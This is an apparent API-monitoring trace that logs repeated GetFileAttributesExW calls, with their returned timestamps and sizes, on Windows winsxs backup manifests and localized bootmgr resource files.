	[0101.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_aaf695e9bb060258.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_aaf695e9bb060258.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285caa8 | out: lpFileInformation=0x1285caa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7e10e1, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xb892458a, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xb894a573, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb4e)) returned 1
	[0101.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_aaf695e9bb060258_atl.dll_0c7220db" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_aaf695e9bb060258_atl.dll_0c7220db"), fInfoLevelId=0x0, lpFileInformation=0x1285caf8 | out: lpFileInformation=0x1285caf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7e10e1, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xb894a573, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xb8996545, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x11200)) returned 1
	[0101.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7601.17514_none_b7e72625aff23492.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7601.17514_none_b7e72625aff23492.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285cb48 | out: lpFileInformation=0x1285cb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3002602, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3372766, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf33988c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc70)) returned 1
	[0101.307] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7601.17514_none_b7e72625aff23492_winmm.dll_08d4f5e8" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7601.17514_none_b7e72625aff23492_winmm.dll_08d4f5e8"), fInfoLevelId=0x0, lpFileInformation=0x1285cb98 | out: lpFileInformation=0x1285cb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa304e8c3, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf33988c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf33988c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1
	[0101.307] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_0dfae70253a9fb02.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_0dfae70253a9fb02.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285cbe8 | out: lpFileInformation=0x1285cbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7240a93, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6c4750f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6c4750f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11522)) returned 1
	[0101.307] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_0dfae70253a9fb02_authui.dll_05ff9fd2" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_0dfae70253a9fb02_authui.dll_05ff9fd2"), fInfoLevelId=0x0, lpFileInformation=0x1285cc38 | out: lpFileInformation=0x1285cc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb728cd54, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6c4750f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6c937cf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800)) returned 1
	[0101.307] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_0dfae70253a9fb02_authui.ptxml_399d39fd" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_0dfae70253a9fb02_authui.ptxml_399d39fd"), fInfoLevelId=0x0, lpFileInformation=0x1285cc88 | out: lpFileInformation=0x1285cc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb72b2eb4, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6c937cf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6c937cf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xaa1)) returned 1
	[0101.307] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_dc01d483a04a33a8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_dc01d483a04a33a8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285ccd8 | out: lpFileInformation=0x1285ccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2bae30, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x8855f2d, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x887bf16, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.307] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_dc01d483a04a33a8_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_dc01d483a04a33a8_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285cd28 | out: lpFileInformation=0x1285cd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2bae30, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x887bf16, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x88a1eff, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1
	[0101.307] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_793bb4aa96902fa7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_793bb4aa96902fa7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285cd78 | out: lpFileInformation=0x1285cd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc56a13, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xded5b2ef, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xded812d8, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_793bb4aa96902fa7_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_793bb4aa96902fa7_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285cdc8 | out: lpFileInformation=0x1285cdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc56a13, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xded812d8, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xdee6524e, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1
	[0101.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_de-de_766749e698668441.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_de-de_766749e698668441.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285ce18 | out: lpFileInformation=0x1285ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9f5ca3, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xca8c576c, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xca937727, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_de-de_766749e698668441_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_de-de_766749e698668441_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285ce68 | out: lpFileInformation=0x1285ce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9f5ca3, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xca937727, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xcaa1b69d, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1
	[0101.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_1efd7779877beccf.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_1efd7779877beccf.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285ceb8 | out: lpFileInformation=0x1285ceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d89f514, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xbcabddd4, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xbcb09da6, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_1efd7779877beccf_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_1efd7779877beccf_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285cf08 | out: lpFileInformation=0x1285cf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d89f514, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xbcb09da6, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xbcb55d78, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1
	[0101.309] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1f581fdf87449006.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1f581fdf87449006.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285cf58 | out: lpFileInformation=0x1285cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e4a991b, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf31e45c, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xf344533, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.309] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1f581fdf87449006_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1f581fdf87449006_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285cfa8 | out: lpFileInformation=0x1285cfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e4a991b, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf344533, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xf36a60a, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1
	[0101.309] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_es-es_1f237cc3876b81ab.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_es-es_1f237cc3876b81ab.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285cff8 | out: lpFileInformation=0x1285cff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db72509, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xd5fc48a5, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xd5fea88e, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.309] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_es-es_1f237cc3876b81ab_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_es-es_1f237cc3876b81ab_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d048 | out: lpFileInformation=0x1285d048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db72509, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xd5fea88e, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xd6010877, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1
	[0101.309] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_be3e81707c8573d5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_be3e81707c8573d5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d098 | out: lpFileInformation=0x1285d098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8d309f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x1427e4d6, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x1427e4d6, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.309] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_be3e81707c8573d5_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_be3e81707c8573d5_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d0e8 | out: lpFileInformation=0x1285d0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8d309f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x1427e4d6, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x142a45ad, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1
	[0101.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c1daf2c27a3d980d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c1daf2c27a3d980d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d138 | out: lpFileInformation=0x1285d138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9dd680, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x187509af, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x18776a86, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c1daf2c27a3d980d_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c1daf2c27a3d980d_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d188 | out: lpFileInformation=0x1285d188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9dd680, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x18776a86, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x1879cb5d, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1
	[0101.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_094b730a5e9d6729.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_094b730a5e9d6729.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d1d8 | out: lpFileInformation=0x1285d1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df75bb6, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf3806ac3, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf382caac, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_094b730a5e9d6729_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_094b730a5e9d6729_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d228 | out: lpFileInformation=0x1285d228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df75bb6, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf382caac, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf389ea67, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1
	[0101.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_it-it_ac02e909516f7d8b.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_it-it_ac02e909516f7d8b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d278 | out: lpFileInformation=0x1285d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dab40d6, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xd11ff7b9, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xd12257a2, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_it-it_ac02e909516f7d8b_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_it-it_ac02e909516f7d8b_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d2c8 | out: lpFileInformation=0x1285d2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dab40d6, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xd12257a2, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xd124b78b, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0101.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_4e286816448a8f66.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_4e286816448a8f66.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d318 | out: lpFileInformation=0x1285d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8d309f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x141e617a, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x1420c251, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_4e286816448a8f66_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_4e286816448a8f66_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d368 | out: lpFileInformation=0x1285d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8d309f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x1420c251, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x142583ff, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1
	[0101.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_f19244cb36fb567c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_f19244cb36fb567c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d3b8 | out: lpFileInformation=0x1285d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e222ad4, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x58fdbd6, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x5923bbf, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_f19244cb36fb567c_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_f19244cb36fb567c_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d408 | out: lpFileInformation=0x1285d408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e222ad4, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x5923bbf, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x596fb91, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1
	[0101.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_da24c6000f208238.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_da24c6000f208238.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d458 | out: lpFileInformation=0x1285d458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e0f241c, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xfb7a9d7f, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xfb7cfd68, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
